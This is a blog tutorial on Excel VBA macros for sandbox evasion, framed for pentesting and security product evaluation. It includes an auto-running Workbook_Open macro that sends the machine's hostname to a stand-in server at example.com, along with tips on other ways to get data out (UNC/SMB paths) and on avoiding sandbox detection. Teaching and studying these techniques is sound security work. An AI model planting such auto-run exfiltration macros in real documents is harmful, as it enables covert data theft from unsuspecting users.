/ Posts / 2018-07-24

M. Antkiewicz & W. Daniels

Sandbox Evasion (Part 1)

If all goes well, this post will begin a series of writeups meant to help those who need a security-centric introduction to Office VBA-macros. We are not VBA programmers or MS Office experts, those guys build finance or engineering apps in Excel. We will consider this series a success, if a reasonably knowledgeable person with the right aptitude will read the series and know basics of Office macro environment, IDE and the programmer's workflow, and be able to recognize evasion techniques in malware, or be able to craft a basic evasion for the purpose of pentesting or security product evaluation.

Both authors work in the security industry, and do not intend to enable or support illegal activity. It goes without saying that you should not use this tutorial to circumvent security systems without authorization.

In the first part, we will introduce the Excel macro developer environment, and show an example macro that connects out and sends to our server a bit of information about the executing machine. In later writeups we will expand on we will add references to them here.

There are two basic prerequisites that must be installed in order to follow the series, first is MS Excel (but other packages of the Office suite would work), and Python. The later will allow us to receive data from macros running in the MS Office documents. It's a fairly typical, if convoluted way to retrieve data out of secured environments, after all Excel was not exactly meant to communicate on the internet. We will set Excel's dev environment, and the Python webserver in the next sections

Excel Development Tools

While Excel comes with the Developer Tools in default installation, the menus allowing access to the tool are not visible. Let's make them show up. Start by enabling dev tools:

In Excel, add Developer toolbox to the ribbon: go to File->Options, click on the "Developer" button

This will add the "Developer" menu:

Which contains the Visual Basic IDE and Maco menus:

As an example, open a new Excel document, go to the Developer Tab and click "Visual Basic". New window will pop up. In it, click "ThisWorkbook", and paste the following in the text area:

Example 1:

Sub Workbook_Open() 
HostName = Environ("computername")
MsgBox (HostName)
End Sub

Once finished, the macro should look like this:

Select Run (or hit F5), and an alert should pop up showing name of your computer. Mine is called testnode3:

at this point the Excel document can be saved, and the macro with it. When opened, the popup will display the computer name and an empty sheet. Neat as it is, this is hardly a practical way to collect data from virtual machines running remotely. We need to get the data to us somehow. We will do so by placing the information in a web request that is sent to a webserver we control.

Python web server

To set up a very basic server, we will assume that you have Python installed. It comes with a webserver as a default. When running, it will show the request data and any associated information like the headers. The way the server is being started differs between Python version 2 and 3, here they are:

For the next example we need to submit the data, and a way to receive them. Let's try to cram them into an HTTP request. In order to see them we need a webserver and access to its logs. Digital Ocean has nice writeup on a way to setup Nginx on Ubuntu, but any will do (https://www.digitalocean.com/community/tutorials/how-to-install-nginx-on-ubuntu-18-04)

Example 2:

Sub Workbook_Open() 
Dim HostName As String
HostName = Environ("computername")
encoded = WorksheetFunction.EncodeURL(HostName)
loghost = "http://example.com/?hostname=" + encoded
Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP.6.0")
xmlhttp.Open "GET", loghost
xmlhttp.setRequestHeader "Content-Type", "text/xml"
End Sub

And the resulting log from nginx: - - [06/Jul/2018:20:07:17 +0000] "GET /?hostname=testnode3 HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

Possible issues/caveats:

It's a pretty obvious and trivial macro, some systems might decide there is no reason to sandbox and will leave it as "suspicious".

The hostname alone is not terribly interesting. Much more data is available, and we will cover what is interesting and for what reasons, how to submit it, and how to extract and process it.

Xmlhttp.open is not the only way to get the data out. For example, workbook.open will try to open a file, it can receive a UNC path and attempt SMB/WebDav conneciton – the data can be encoded in the file name, or part of the hostname (computername_bobsmachine.example.com). There are more ways, but xmlhttp seems to fit our needs well enough.

Do not use msgbox when submitting to a sandbox, it will pause and wait for user input.
When the data is submitted via http, it must be encoded – there are strict rules what characters are allowable in the url (encoded = WorksheetFunction.EncodeURL(HostName))

Sending data as query strings ( ?host=name) avoids 404 errors (file not found) that we would see if a path-to-file was requested, and the file did not exist.